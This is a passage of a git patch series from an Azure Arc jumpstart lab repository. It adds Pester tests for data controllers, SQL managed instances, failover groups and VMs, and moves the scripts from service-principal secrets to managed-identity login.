+$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + # Deploy App & "$Env:ArcBoxDir\DataOpsAppScript.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 index f672cf54db..bf0fb48323 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -12,7 +12,7 @@ switch ($env:flavor) { $tests_failed = $tests_failed + $tests_devops.Failed.Count } 'DataOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops $tests_passed = $tests_passed + $tests_dataops.Passed.Count $tests_failed = $tests_failed + $tests_dataops.Failed.Count } diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 9a8969141a..74edfdd8ef 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -6,6 +6,7 @@ BeforeDiscovery { $aksdrArcClusterName = $env:aksdrArcClusterName $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) + $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") @@ -27,4 +28,35 @@ Describe "" -ForEach $clusters { $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId $connectedCluster.ConnectivityStatus | Should -Be "Connected" } -} \ No newline at end of file +} + +Describe "" -ForEach $customLocations { + BeforeAll { + $customLocation = $_ + } + It "Custom Location exists" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject | Should -Not -BeNullOrEmpty + } + It "Custom Location is connected" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject.ProvisioningState | Should -Be "Succeeded" + } +} + +<# +Describe "" -ForEach $dataController { + BeforeAll { + $dataController = $_ + } + It "Data Controller exists" { + az arcdata dc list --resource-group sb-arcbox --query "[].{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $dataControllerObject | Should -Not -BeNullOrEmpty + } + It "Data Controller is connected" { + $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $dataControllerObject.ProvisioningState | Should -Be "Succeeded" + } +} +#> \ No newline at end of file From d93f676e535c041b8a7bd9e65c3ca605461cf886 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 14:12:20 +0200 Subject: [PATCH 104/506] Updated SQL instance names and added tests for SQL Managed Instances --- .../artifacts/tests/dataops.tests.ps1 | 29 +++++++++++++------ 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 74edfdd8ef..3ac9686994 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -8,7 +8,7 @@ BeforeDiscovery { $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") - $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) @@ -44,19 +44,30 @@ Describe "" -ForEach $customLocations { } } -<# -Describe "" -ForEach $dataController { +Describe "" -ForEach $dataControllers { BeforeAll { $dataController = $_ } It "Data Controller exists" { - az arcdata dc list --resource-group sb-arcbox --query "[].{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $dataControllerObject | Should -Not -BeNullOrEmpty + $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject.Name | Should -Not -BeNullOrEmpty } It "Data Controller is connected" { - $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $dataControllerObject.ProvisioningState | Should -Be "Succeeded" + $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject.State | Should -Be "Ready" } } -#> \ No newline at end of file + +Describe "" -ForEach $sqlMiInstances { + BeforeAll { + $sqlMiInstance = $_ + } + It "SQL Managed Instance exists" { + $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" + $sqlMiInstanceObject.Name | Should -Not -BeNullOrEmpty + } + It "SQL Managed Instance is connected" { + $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" + $sqlMiInstanceObject.State | Should -Be "Ready" + } +} \ No newline at end of file From c0a0574ef6bcb723c80a55c103da61c81d3a703f Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 16:57:08 +0200 Subject: [PATCH 105/506] Add OpenSSL to path environment variable and update tests --- .../artifacts/DataOpsAppScript.ps1 | 6 ++++ .../artifacts/DataOpsLogonScript.ps1 | 7 +--- .../artifacts/tests/dataops.tests.ps1 | 36 +++++++++++++------ 3 files changed, 33 insertions(+), 16 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index dbfa3c8cdf..1c59504efa 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -10,6 +10,12 @@ $sqlInstance = "capi" Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppScript.log +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + Write-Host "Generating a TLS Certificate" $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 456b6a3da5..f590e78197 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -2,6 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $clusters = @( [pscustomobject]@{clusterName = $Env:capiArcDataClusterName; dataController = "$Env:capiArcDataClusterName-dc" ; customLocation = "$Env:capiArcDataClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'capi' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-capi" } @@ -274,12 +275,6 @@ foreach($cluster in $clusters){ Write-Header "Deploying App" -# Add OpenSSL to path environment variable -$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) -$newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) - # Deploy App & "$Env:ArcBoxDir\DataOpsAppScript.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 3ac9686994..8a817c0c39 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -9,11 +9,13 @@ BeforeDiscovery { $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + $drPartners = @("capi-sql", "aks-dr-sql") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + az config set extension.use_dynamic_install=yes_without_prompt } Describe "" -ForEach $clusters { @@ -49,25 +51,39 @@ Describe "" -ForEach $dataControllers { $dataController = $_ } It "Data Controller exists" { - $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject.Name | Should -Not -BeNullOrEmpty + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty } It "Data Controller is connected" { - $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject.State | Should -Be "Ready" + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).State | Should -Be "Ready" } } -Describe "" -ForEach $sqlMiInstances { +Describe "" -ForEach $sqlMiInstances { BeforeAll { - $sqlMiInstance = $_ + $sqlInstance = $_ } It "SQL Managed Instance exists" { - $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" - $sqlMiInstanceObject.Name | Should -Not -BeNullOrEmpty + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty } It "SQL Managed Instance is connected" { - $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" - $sqlMiInstanceObject.State | Should -Be "Ready" + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).State | Should -Be "Ready" + } +} + +Describe "" -ForEach $drPartners{ + BeforeAll { + $drPartner = $_ + } + It "DR configuration exists" { + $drConfig = $(az sql instance-failover-group-arc list --resource-group $env:resourceGroup --mi $drPartner) + $drConfig | Should -Not -Be "Found 0 failover group(s)." + } + It "DR configuration is healthy" { + $drConfig = $(az sql mi-arc show --resource-group $env:resourceGroup --name $drPartner --query "{name:name,state:properties.k8SRaw.status.highAvailability.healthState}") + ($drConfig| ConvertFrom-Json).state | Should -Be "Ok" } } \ No newline at end of file From c20be12a75d96554788f4392f31b5001987d0b10 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 17:03:54 +0200 Subject: [PATCH 106/506] Update OpenSSL path in DataOpsAppScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index 1c59504efa..6fb859b40f 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -12,9 +12,9 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppScript.log # Add OpenSSL to path environment variable $openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Process) $newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Process) Write-Host "Generating a TLS Certificate" $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" From c63454d4750716d6b978f2fe7d77fb3b05f8b165 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jan 2024 11:08:29 +0200 Subject: [PATCH 107/506] Add tests for VM and Azure Arc Connected Machine --- .../artifacts/tests/dataops.tests.ps1 | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 8a817c0c39..be45c771bf 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -10,6 +10,7 @@ BeforeDiscovery { $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") $drPartners = @("capi-sql", "aks-dr-sql") + $VMs = @("ArcBox-SQL") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) @@ -86,4 +87,26 @@ Describe "" -ForEach $drPartners{ $drConfig = $(az sql mi-arc show --resource-group $env:resourceGroup --name $drPartner --query "{name:name,state:properties.k8SRaw.status.highAvailability.healthState}") ($drConfig| ConvertFrom-Json).state | Should -Be "Ok" } +} + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } } \ No newline at end of file From 1d005784579a873900d1f102dca7740b4e8f120b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Mar 2024 08:37:15 +0100 Subject: [PATCH 108/506] Refactored Azure CLI/PS login process to use Managed Identity and SQL VM onboarding to leverage access token. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 ++-- .../artifacts/installArcAgent.ps1 | 12 ++- .../artifacts/installArcAgentSQLSP.ps1 | 79 ------------------- .../artifacts/installArcAgentSQLUser.ps1 | 74 ----------------- 4 files changed, 10 insertions(+), 170 deletions(-) delete mode 100644 azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 delete mode 100644 azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 31b8cb123f..4aed5eb96d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -7,8 +7,6 @@ $agentScript = "$Env:ArcBoxDir\agentScript" # Set variables to execute remote powershell scripts on guest VMs $nestedVMArcBoxDir = $Env:ArcBoxDir -$spnClientId = $env:spnClientId -$spnClientSecret = $env:spnClientSecret $spnTenantId = $env:spnTenantId $subscriptionId = $env:subscriptionId $azureLocation = $env:azureLocation @@ -135,13 +133,11 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" - az login --service-principal --username $spnClientId --password=$spnClientSecret --tenant $spnTenantId + az login --identity --tenant $spnTenantId az account set -s $env:subscriptionId Write-Header "Az PowerShell Login" - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -211,7 +207,8 @@ if ($Env:flavor -ne "DevOps") { # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgentSQL.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + $accessToken = (Get-AzAccessToken).Token + Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds # Install Log Analytics extension to support Defender for SQL $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json @@ -419,10 +416,8 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 index 4f70a0d67c..62cd7db877 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 +++ b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 @@ -1,7 +1,6 @@ # Download the package param ( - [string]$spnClientId, - [string]$spnClientSecret, + [string]$accessToken, [string]$spnTenantId, [string]$subscriptionId, [string]$resourceGroup, @@ -10,18 +9,17 @@ function download() {$ProgressPreference="SilentlyContinue"; Invoke-WebRequest -Uri https://aka.ms/AzureConnectedMachineAgent -OutFile AzureConnectedMachineAgent.msi} download - + # Install the package $exitCode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureConnectedMachineAgent.msi" ,"/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode if($exitCode -ne 0) { $message=(net helpmsg $exitCode) throw "Installation failed: $message See installationlog.txt for additional details." } - + # Run connect command & "$Env:ProgramW6432\AzureConnectedMachineAgent\azcmagent.exe" connect ` - --service-principal-id $spnClientId ` - --service-principal-secret $spnClientSecret ` + --access-token $accessToken ` --resource-group $resourceGroup ` --tenant-id $spnTenantId ` --location $Azurelocation ` @@ -29,5 +27,5 @@ --cloud "AzureCloud" ` --tags "Project=jumpstart_arcbox" ` --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" # Do no change! - + if($LastExitCode -eq 0){Write-Host -ForegroundColor yellow "To view your onboarded server(s), navigate to https://ms.portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.HybridCompute%2Fmachines"} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 deleted file mode 100644 index b904e9ea6d..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 +++ /dev/null @@ -1,79 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId, - [string]$subscriptionId, - [string]$resourceGroup, - [string]$Azurelocation -) - -$ArcBoxDir = "C:\ArcBox" -$ArcBoxLogsDir = "$ArcBoxDir\Logs" - -# Change working directory -Set-Location -Path $ArcBoxDir - -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $spnClientId -And $spnTenantId -And $spnClientSecret - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 deleted file mode 100644 index 073879cf68..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 +++ /dev/null @@ -1,74 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId = $env:spnTenantId, - [string]$subscriptionId = $env:subscriptionId, - [string]$resourceGroup = $env:resourceGroup, - [string]$Azurelocation = $env:azureLocation -) - -$ArcBoxLogsDir = "C:\ArcBox\Logs" -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $false - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file From 9f5d2091b606a30cb0b84c20a6c86850d867722c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:10:40 +0200 Subject: [PATCH 109/506] Add system-assigned identity to client VM and assign roles Signed-off-by: Jan Egil Ring --- .../bicep/clientVm/clientVm.bicep | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 427a5478de..c6c4c441cf 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep 